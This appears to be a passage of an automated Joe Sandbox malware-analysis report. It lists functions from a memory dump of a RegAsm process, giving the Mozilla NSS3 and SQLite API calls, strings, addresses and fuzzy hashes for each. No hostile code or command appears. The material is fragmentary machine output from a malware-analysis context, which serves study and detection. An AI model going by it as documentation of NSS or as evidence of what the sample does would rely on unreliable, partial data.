Opcode Fuzzy Hash: b73a087578bbfd25c196e4d420e8d6d3c555cdf664bbd94b3472b3991c612886
Instruction Fuzzy Hash: 5921D7F1A007019BEB10BF7D9C0566B76F8EF01258F150539E85AC6B81EB35F514CBA6

Function 6C40AF30 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 93COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6C40AF47

Part of subcall function 6C4D9090: TlsGetValue.KERNEL32 ref: 6C4D90AB
Part of subcall function 6C4D9090: TlsGetValue.KERNEL32 ref: 6C4D90C9
Part of subcall function 6C4D9090: EnterCriticalSection.KERNEL32 ref: 6C4D90E5
Part of subcall function 6C4D9090: TlsGetValue.KERNEL32 ref: 6C4D9116
Part of subcall function 6C4D9090: LeaveCriticalSection.KERNEL32 ref: 6C4D913F

FreeLibrary.KERNEL32(?), ref: 6C40AF6D
free.MOZGLUE(?), ref: 6C40AFA4
free.MOZGLUE(?), ref: 6C40AFAA
PR_ExitMonitor.NSS3 ref: 6C40AFB5
PR_LogPrint.NSS3(%s decr => %d,?,?), ref: 6C40AFF5
PR_ExitMonitor.NSS3 ref: 6C40B005
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C40B014
PR_LogPrint.NSS3(Unloaded library %s,?), ref: 6C40B028
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C40B03C

Strings

%s decr => %d, xrefs: 6C40AFF0
Unloaded library %s, xrefs: 6C40B023

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: MonitorValue$CriticalEnterErrorExitPrintSectionfree$FreeLeaveLibrary
String ID: %s decr => %d$Unloaded library %s
API String ID: 4015679603-2877805755
Opcode ID: 1e8e6ede87e577c157a76bcc69de34da89d75377eb161cb86405f5bce54db583
Instruction ID: 5220e280f19fa73d27ff1798700ae3876acc174ea1513eb990e71401d261e2b4
Opcode Fuzzy Hash: 1e8e6ede87e577c157a76bcc69de34da89d75377eb161cb86405f5bce54db583
Instruction Fuzzy Hash: C331F4B4B84110ABDA01EF65DC50F16B7B5EF45309B294139E80997B40E722E855C7F6

Function 6C456C30 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 58stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6C45781D,00000000,6C44BE2C,?,6C456B1D,?,?,?,?,00000000,00000000,6C45781D), ref: 6C456C40
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6C45781D,?,6C44BE2C,?), ref: 6C456C58
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6C45781D), ref: 6C456C6F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6C456C84
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6C456C96

Part of subcall function 6C401240: TlsGetValue.KERNEL32(00000040,?,6C40116C,NSPR_LOG_MODULES), ref: 6C401267
Part of subcall function 6C401240: EnterCriticalSection.KERNEL32(?,?,?,6C40116C,NSPR_LOG_MODULES), ref: 6C40127C
Part of subcall function 6C401240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C40116C,NSPR_LOG_MODULES), ref: 6C401291
Part of subcall function 6C401240: PR_Unlock.NSS3(?,?,?,?,6C40116C,NSPR_LOG_MODULES), ref: 6C4012A0

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6C456CAA

Strings

extern:, xrefs: 6C456C7E
dbm:, xrefs: 6C456C3A
rdb:, xrefs: 6C456C69
NSS_DEFAULT_DB_TYPE, xrefs: 6C456C91
dbm, xrefs: 6C456CA4
sql:, xrefs: 6C456C52

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: strncmp$CriticalEnterSectionSecureUnlockValuegetenvstrcmp
String ID: NSS_DEFAULT_DB_TYPE$dbm$dbm:$extern:$rdb:$sql:
API String ID: 4221828374-3736768024
Opcode ID: d837b44fca784fc35dfda3c9b4b811eeaa93f9e7095e6da518cc9a361dfed538
Instruction ID: 2eff320d5d2cb57768995e3b7692a36b6067de8e1c144fa04991e863f046a39e
Opcode Fuzzy Hash: d837b44fca784fc35dfda3c9b4b811eeaa93f9e7095e6da518cc9a361dfed538
Instruction Fuzzy Hash: 0901DBF171235127FA01277A6E49FA6365C9F4119DF940432FE04E0B91FB96F93841A9

Function 6C464E60 Relevance: 19.7, APIs: 13, Instructions: 186COMMON

Download Yara Rule

APIs

PR_SetErrorText.NSS3(00000000,00000000,?,6C4278F8), ref: 6C464E6D

Part of subcall function 6C4009E0: TlsGetValue.KERNEL32(00000000,?,?,?,6C4006A2,00000000,?), ref: 6C4009F8
Part of subcall function 6C4009E0: malloc.MOZGLUE(0000001F), ref: 6C400A18
Part of subcall function 6C4009E0: memcpy.VCRUNTIME140(?,?,00000001), ref: 6C400A33

PR_SetError.NSS3(FFFFE09A,00000000,?,?,?,6C4278F8), ref: 6C464ED9

Part of subcall function 6C455920: NSSUTIL_ArgHasFlag.NSS3(flags,printPolicyFeedback,?,?,?,?,?,?,00000000,?,00000000,?,6C457703,?,00000000,00000000), ref: 6C455942
Part of subcall function 6C455920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckIdentifier,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6C457703), ref: 6C455954
Part of subcall function 6C455920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckValue,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C45596A
Part of subcall function 6C455920: SECOID_Init.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C455984
Part of subcall function 6C455920: NSSUTIL_ArgGetParamValue.NSS3(disallow,00000000), ref: 6C455999
Part of subcall function 6C455920: free.MOZGLUE(00000000), ref: 6C4559BA
Part of subcall function 6C455920: NSSUTIL_ArgGetParamValue.NSS3(allow,00000000), ref: 6C4559D3
Part of subcall function 6C455920: free.MOZGLUE(00000000), ref: 6C4559F5
Part of subcall function 6C455920: NSSUTIL_ArgGetParamValue.NSS3(disable,00000000), ref: 6C455A0A
Part of subcall function 6C455920: free.MOZGLUE(00000000), ref: 6C455A2E
Part of subcall function 6C455920: NSSUTIL_ArgGetParamValue.NSS3(enable,00000000), ref: 6C455A43

SECMOD_FindModule.NSS3(?,?,?,?,?,?,?,?,?,6C4278F8), ref: 6C464EB3

Part of subcall function 6C464820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C464EB8,?,?,?,?,?,?,?,?,?,?,6C4278F8), ref: 6C46484C
Part of subcall function 6C464820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C464EB8,?,?,?,?,?,?,?,?,?,?,6C4278F8), ref: 6C46486D
Part of subcall function 6C464820: PR_SetError.NSS3(FFFFE09A,00000000,00000000,-00000001,00000000,?,6C464EB8,?), ref: 6C464884

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,?,6C4278F8), ref: 6C464EC0

Part of subcall function 6C464470: TlsGetValue.KERNEL32(00000000,?,6C427296,00000000), ref: 6C464487
Part of subcall function 6C464470: EnterCriticalSection.KERNEL32(?,?,?,6C427296,00000000), ref: 6C4644A0
Part of subcall function 6C464470: PR_Unlock.NSS3(?,?,?,?,6C427296,00000000), ref: 6C4644BB

TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6C4278F8), ref: 6C464F16
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6C4278F8), ref: 6C464F2E
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6C4278F8), ref: 6C464F40
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6C4278F8), ref: 6C464F6C
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6C4278F8), ref: 6C464F80
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C4278F8), ref: 6C464F8F
PK11_UpdateSlotAttribute.NSS3(?,6C53DCB0,00000000), ref: 6C464FFE
PK11_UserDisableSlot.NSS3(0000001E), ref: 6C46501F
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,6C4278F8), ref: 6C46506B

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: Value$Param$CriticalEnterErrorFlagModuleSectionUnlockfree$DestroyK11_Slotstrcmp$AttributeDisableFindInitTextUpdateUsermallocmemcpy
String ID:
API String ID: 560490210-0
Opcode ID: 20b99f901bd5f3f728e20d2de5f99b6dc031a6edcbec8b83e130199152f7e0ac
Instruction ID: d201cb5f29a5d6c62ff8cd6fb7cec474622090e577ebb1d4c2c0d10f8c1aa366
Opcode Fuzzy Hash: 20b99f901bd5f3f728e20d2de5f99b6dc031a6edcbec8b83e130199152f7e0ac
Instruction Fuzzy Hash: B25101B19002019BEF01DF26EC01EAA36B4EF0635DF150539E84A96F16FB31D565CAE2

Function 6C40ACC0 Relevance: 19.6, APIs: 13, Instructions: 150stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C40ACE2
malloc.MOZGLUE(00000001), ref: 6C40ACEC
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C40AD02
TlsGetValue.KERNEL32 ref: 6C40AD3C
calloc.MOZGLUE(00000001,?), ref: 6C40AD8C
PR_Unlock.NSS3 ref: 6C40ADC0
free.MOZGLUE(00000000), ref: 6C40AE48
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C40AE58
free.MOZGLUE(00000000), ref: 6C40AE69
free.MOZGLUE(?), ref: 6C40AE78
PR_Unlock.NSS3 ref: 6C40AE8C
free.MOZGLUE(?), ref: 6C40AEAB
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C40AEC7

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: free$Unlock$ErrorValuecallocmallocmemcpystrcpystrlen
String ID:
API String ID: 786543732-0
Opcode ID: 55b2ee75a8bee1ac8c0f9bdc2ae0984637c409d15b45c79094d36cf0c85df2ae
Instruction ID: 62054bb0f137a5be3a2c24097cd3a23975e824a5a4c7ab5e538e6f4bdd2380f4
Opcode Fuzzy Hash: 55b2ee75a8bee1ac8c0f9bdc2ae0984637c409d15b45c79094d36cf0c85df2ae
Instruction Fuzzy Hash: CC519DB1B812259BDF01EF68DC45EAF77B5AF06349F160135D808A7B10D331A945CBEA

Function 6C4E4C40 Relevance: 19.3, APIs: 3, Strings: 8, Instructions: 97COMMON

Download Yara Rule

APIs

sqlite3_value_text16.NSS3(?), ref: 6C4E4CAF
sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C4E4CFD
sqlite3_value_text16.NSS3(?), ref: 6C4E4D44

Strings

API call with %s database connection pointer, xrefs: 6C4E4CF6
unknown error, xrefs: 6C4E4D56
bad parameter or other API misuse, xrefs: 6C4E4D05
out of memory, xrefs: 6C4E4C78, 6C4E4C9E
invalid, xrefs: 6C4E4CF1
abort due to ROLLBACK, xrefs: 6C4E4D27, 6C4E4D33
no more rows available, xrefs: 6C4E4D2E
another row available, xrefs: 6C4E4D20

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: sqlite3_value_text16$sqlite3_log
String ID: API call with %s database connection pointer$abort due to ROLLBACK$another row available$bad parameter or other API misuse$invalid$no more rows available$out of memory$unknown error
API String ID: 2274617401-4033235608
Opcode ID: 20b5fd236d379edb75c6478fccdbf3f70fc6f2ff42ddd2492dfbc7ae3f000293
Instruction ID: 7886e6d3f328cfa5cfc8ccc9e8b277b4f12eb2e2ae96dce2a60f81781852ac72
Opcode Fuzzy Hash: 20b5fd236d379edb75c6478fccdbf3f70fc6f2ff42ddd2492dfbc7ae3f000293
Instruction Fuzzy Hash: 92317AB2E04810A7E708CAA4AC00FB473A1BB8E39BF176135D4254BF54D739AC1387E2

Function 6C442CD0 Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 73COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitToken), ref: 6C442CEC
PR_LogPrint.NSS3( slotID = 0x%x,?), ref: 6C442D07

Part of subcall function 6C5209D0: PR_Now.NSS3 ref: 6C520A22
Part of subcall function 6C5209D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C520A35
Part of subcall function 6C5209D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C520A66
Part of subcall function 6C5209D0: PR_GetCurrentThread.NSS3 ref: 6C520A70
Part of subcall function 6C5209D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C520A9D
Part of subcall function 6C5209D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C520AC8
Part of subcall function 6C5209D0: PR_vsmprintf.NSS3(?,?), ref: 6C520AE8
Part of subcall function 6C5209D0: EnterCriticalSection.KERNEL32(?), ref: 6C520B19
Part of subcall function 6C5209D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C520B48
Part of subcall function 6C5209D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C520C76
Part of subcall function 6C5209D0: PR_LogFlush.NSS3 ref: 6C520C7E

PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6C442D22

Part of subcall function 6C5209D0: OutputDebugStringA.KERNEL32(?), ref: 6C520B88
Part of subcall function 6C5209D0: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C520C5D
Part of subcall function 6C5209D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6C520C8D
Part of subcall function 6C5209D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C520C9C
Part of subcall function 6C5209D0: OutputDebugStringA.KERNEL32(?), ref: 6C520CD1
Part of subcall function 6C5209D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6C520CEC
Part of subcall function 6C5209D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C520CFB
Part of subcall function 6C5209D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C520D16
Part of subcall function 6C5209D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000000,?), ref: 6C520D26
Part of subcall function 6C5209D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C520D35
Part of subcall function 6C5209D0: OutputDebugStringA.KERNEL32(0000000A), ref: 6C520D65
Part of subcall function 6C5209D0: fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?), ref: 6C520D70
Part of subcall function 6C5209D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C520D90
Part of subcall function 6C5209D0: free.MOZGLUE(00000000), ref: 6C520D99

PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6C442D3B

Part of subcall function 6C5209D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6C520BAB
Part of subcall function 6C5209D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C520BBA
Part of subcall function 6C5209D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C520D7E

PR_LogPrint.NSS3( pLabel = 0x%p,?), ref: 6C442D54

Part of subcall function 6C5209D0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C520BCB
Part of subcall function 6C5209D0: EnterCriticalSection.KERNEL32(?), ref: 6C520BDE
Part of subcall function 6C5209D0: OutputDebugStringA.KERNEL32(?), ref: 6C520C16

Strings

pPin = 0x%p, xrefs: 6C442D1D
nRl, xrefs: 6C442D6C, 6C442D9A
pLabel = 0x%p, xrefs: 6C442D4F
slotID = 0x%x, xrefs: 6C442D02
ulPinLen = %d, xrefs: 6C442D36
C_InitToken, xrefs: 6C442CE7

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: DebugOutputString$Printfflush$fwrite$CriticalEnterR_snprintfSection$CurrentExplodeFlushR_vsmprintfR_vsnprintfThreadTimefputcfreememcpystrlen
String ID: pLabel = 0x%p$ pPin = 0x%p$ slotID = 0x%x$ ulPinLen = %d$C_InitToken$nRl
API String ID: 420000887-4024123555
Opcode ID: e264b3e65d52ccdd7845ad963d7aa7b97ed3eec360ad45f481069a996971b1c2
Instruction ID: 046035ccad0e12653afcc790cb1b2a3809aa4e44d86037f729ac004827208a32
Opcode Fuzzy Hash: e264b3e65d52ccdd7845ad963d7aa7b97ed3eec360ad45f481069a996971b1c2
Instruction Fuzzy Hash: CE21B0B5201160EFEB11EB54DD4CE593BF1EBC232AF158025E508D7A22DB318889DBB1

Function 6C414880 Relevance: 18.2, APIs: 12, Instructions: 193memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C4148A2
PORT_NewArena_Util.NSS3(00000800), ref: 6C4148C4
PORT_ArenaAlloc_Util.NSS3(?,000000BC), ref: 6C4148D8
memset.VCRUNTIME140(00000004,00000000,000000B8), ref: 6C4148FB
PORT_ArenaAlloc_Util.NSS3(?,00000018), ref: 6C414908
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6C414947
SECITEM_CopyItem_Util.NSS3(?,00000000,?), ref: 6C41496C
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C414988
SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C538DAC,?), ref: 6C4149DE
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C4149FD
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C414ACB

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: Util$Alloc_ArenaError$Arena_Item_$CopyDecodeFreeQuickmemset
String ID:
API String ID: 4201528089-0
Opcode ID: 9d7d24866962e5988a61f9e2d6e54f97d14771fb560a47acff4f938e76d3a8eb
Instruction ID: 4688d75abeee6233e09dda8ab87c94e32ea2349987a0d63a6d939ed8b8a84c9c
Opcode Fuzzy Hash: 9d7d24866962e5988a61f9e2d6e54f97d14771fb560a47acff4f938e76d3a8eb
Instruction Fuzzy Hash: 1051F4B1A083018BEB10CE75DC41FAB76E4AF413CEF115129ED99AAF81E771D4058BA6

Function 6C4E2D40 Relevance: 18.2, APIs: 12, Instructions: 187COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6C4E2D9F

Part of subcall function 6C39CA30: EnterCriticalSection.KERNEL32(?,?,?,6C3FF9C9,?,6C3FF4DA,6C3FF9C9,?,?,6C3C369A), ref: 6C39CA7A
Part of subcall function 6C39CA30: LeaveCriticalSection.KERNEL32(?), ref: 6C39CB26

sqlite3_exec.NSS3(?,?,6C4E2F70,?,?), ref: 6C4E2DF9
sqlite3_free.NSS3(00000000), ref: 6C4E2E2C
sqlite3_free.NSS3(?), ref: 6C4E2E3A
sqlite3_free.NSS3(?), ref: 6C4E2E52
sqlite3_mprintf.NSS3(6C54AAF9,?), ref: 6C4E2E62
sqlite3_free.NSS3(?), ref: 6C4E2E70
sqlite3_free.NSS3(?), ref: 6C4E2E89
sqlite3_free.NSS3(?), ref: 6C4E2EBB
sqlite3_free.NSS3(?), ref: 6C4E2ECB
sqlite3_free.NSS3(00000000), ref: 6C4E2F3E
sqlite3_free.NSS3(?), ref: 6C4E2F4C

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: sqlite3_free$CriticalSection$EnterLeavesqlite3_execsqlite3_initializesqlite3_mprintf
String ID:
API String ID: 1957633107-0
Opcode ID: 58ab5eb2304027a9f7de1cf4a0e469845f633c255f1dff70630251e70e88d4b3
Instruction ID: ad9079708d8165380c71e45c604d0b6d9ede8ee33334f60bead6adce6f07e056
Opcode Fuzzy Hash: 58ab5eb2304027a9f7de1cf4a0e469845f633c255f1dff70630251e70e88d4b3
Instruction Fuzzy Hash: 7A617EB5E012168FEB10CFA8D885F9EB7B1EF4834AF164028DD55A7701EB35E845CBA1

Function 6C394C70 Relevance: 18.1, APIs: 12, Instructions: 116threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6C393921,6C5714E4,6C4DCC70), ref: 6C394C97
EnterCriticalSection.KERNEL32(?,?,?,?,6C393921,6C5714E4,6C4DCC70), ref: 6C394CB0
PR_Unlock.NSS3(?,?,?,?,?,6C393921,6C5714E4,6C4DCC70), ref: 6C394CC9
TlsGetValue.KERNEL32(?,?,?,?,?,6C393921,6C5714E4,6C4DCC70), ref: 6C394D11
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,6C393921,6C5714E4,6C4DCC70), ref: 6C394D2A
PR_NotifyAllCondVar.NSS3(?,?,?,?,?,?,?,6C393921,6C5714E4,6C4DCC70), ref: 6C394D4A
PR_Unlock.NSS3(?,?,?,?,?,?,?,6C393921,6C5714E4,6C4DCC70), ref: 6C394D57
PR_GetCurrentThread.NSS3(?,?,?,?,?,6C393921,6C5714E4,6C4DCC70), ref: 6C394D97
PR_Lock.NSS3(?,?,?,?,?,6C393921,6C5714E4,6C4DCC70), ref: 6C394DBA
PR_WaitCondVar.NSS3 ref: 6C394DD4
PR_Unlock.NSS3(?,?,?,?,?,6C393921,6C5714E4,6C4DCC70), ref: 6C394DE6
PR_GetCurrentThread.NSS3(?,?,?,?,?,6C393921,6C5714E4,6C4DCC70), ref: 6C394DEF

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: Unlock$CondCriticalCurrentEnterSectionThreadValue$LockNotifyWait
String ID:
API String ID: 3388019835-0
Opcode ID: 8ea192f35b85d82a7b6949112136c90a8c53af55e2dfe22ca173398458bd6028
Instruction ID: 5407960a55439dde48f4ed543ce4ef67d5f4ed48651abb5e492dcd0be8429eed
Opcode Fuzzy Hash: 8ea192f35b85d82a7b6949112136c90a8c53af55e2dfe22ca173398458bd6028
Instruction Fuzzy Hash: 2B417FB5A04625CFCB01FF78D89495A7BB4BF06318F064669D8989BB11E730E884CFE5

Function 6C438F70 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 152COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6C42DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C438FAF
PR_Now.NSS3(?,?,00000002,?,?,?,6C42DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C438FD1
